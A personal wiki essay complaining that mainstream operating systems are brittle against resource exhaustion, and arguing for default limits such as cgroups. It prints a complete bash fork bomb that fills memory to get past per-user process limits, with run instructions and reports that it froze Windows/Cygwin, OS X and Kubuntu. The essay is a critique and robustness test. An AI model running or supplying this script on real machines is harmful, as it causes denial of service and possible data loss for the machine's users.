Benutzer:Rdiez/BrittleOperatingSystems

Dies sind die persönlichen Benutzerseiten von rdiez, bitte nicht verändern! Ausnahmen sind nur einfache Sprachkorrekturen wie Tippfehler, falsche Präpositionen oder Ähnliches. Alles andere bitte nur dem Benutzer melden!

Brittle Operating Systems

It's hard to believe how brittle modern Operating Systems still are. After years of development and refinement, you would expect most mainstream OSes to have reached a reasonable level of robustness and security. However, a simple fork bomb easily brings most OSes down.

It is as if the concept of denial of service would not belong in the software security category. Apparently, responsiveness does not fit into the OS writers' idea of software robustness either.

Admittedly, the simplest standard fork bomb does not do the trick any more, as most OSes nowadays limit the maximum number of child processes per session. However, it takes about a minute to write an enhanced version that still works, here it is:

#!/bin/bash

ENABLE_BOMB=true
ENABLE_PRINT_LEN=false

TEST="ab"

bomb() {

  if $ENABLE_BOMB; then
    bomb &
  fi

  TEST="$TEST$TEST"

  echo $TEST >/dev/null
  echo >/dev/null

  if $ENABLE_PRINT_LEN; then
    echo "TEST string length: ${#TEST}"
  fi

  bomb
};

bomb

I left a little extra code inside so that you can comfortably experiment with it. Just save it to a file called "ForkBomb-WARNING-may-crash-your-computer.sh", start it as follows and watch your OS slowly grind to a halt:

bash ForkBomb-WARNING-may-crash-your-computer.sh

That's it. You don't need to be logged on as superuser or change any special system configuration setting.

Your system may not technically die, it will probably start thrashing so much that it quickly becomes unusable. On the other hand, some systems become unstable when they run out of memory. The OS kernel itself may be robust enough to cope, but you need many other system services in order to use your computer effectively, and chances are that at least one of them will start to fail and may not recover even if enough memory becomes available later on.

I have seen that little script bring the following systems down:

• Microsoft Windows Vista (under Cygwin).
  You get a low-memory warning which does not really help to deal with the problem. If you don't wait too long, you can log out and after a while you will get your system back.
• Apple OS X.
  Some things still worked, like the moving window animations or the system menu, but nothing else really worked. Pressing Ctrl+C in the terminal window seems to stop the script but does not actually help. Trying to log out has no effect either.
• Kubuntu 13.10.
  Tested on a Konsole window. The mouse pointers starts to jerk around and within 5 seconds the computer is frozen solid. None of the usual key combinations works any more.

Please do drop me a line if you try it on other OSes, so that I can update the list above. Did you find one that resists the script in its default configuration?

The fork bomb scenario is not as uncommon as you may think. The reason I decided to write this post is that I have recently managed to inadvertently render my PC sluggish or unusable in the most simple ways:

• I clicked on a 1-GiB binary file on a default Kubuntu 13.10 installation.
  By default, a single mouse click in KDE opens the file in the Kate editor, which apparently tries to load the whole file at once into RAM. That's enough to bring your KDE desktop down. I normally reconfigure KDE to double-click in order to open a file, but I forgot this time. Kate needs 3,2 GiB of RAM to open a 1,GiB file. Other editors like emacs do not load all contents at once or ask if you really want to open such a large file.

• I started a build process with "make -j", without specifying a number for the "-j" argument. I reported this problem on the GNU Make mailing list but found no resonance. Other people have realised too. I know this should be fixed at OS level, but it shouldn't be so easy to make such a mistake with a standard build tool.

• Just copying a few large files around on traditional hard disks makes most systems pause for seconds at a time or react very slowly to mouse clicks.

Such "crashes" are a pain, as there is no definitive error message and it may not be immediately obvious why your system stopped responding. I just hate wasting time because of simple issues like these!

If you keep bringing your PC down in those ways, the only thing that ultimately helps is some system-level limiter like cgroups under Linux. What I do not understand is why that's not the default configuration on most systems. Such a control system must surely cost some performance, but with the kind of processing power available today, surely that's preferable to risking a system-wide crash. Besides, I had a quick look and cgroups and the like do not seem easy enough for the casual user.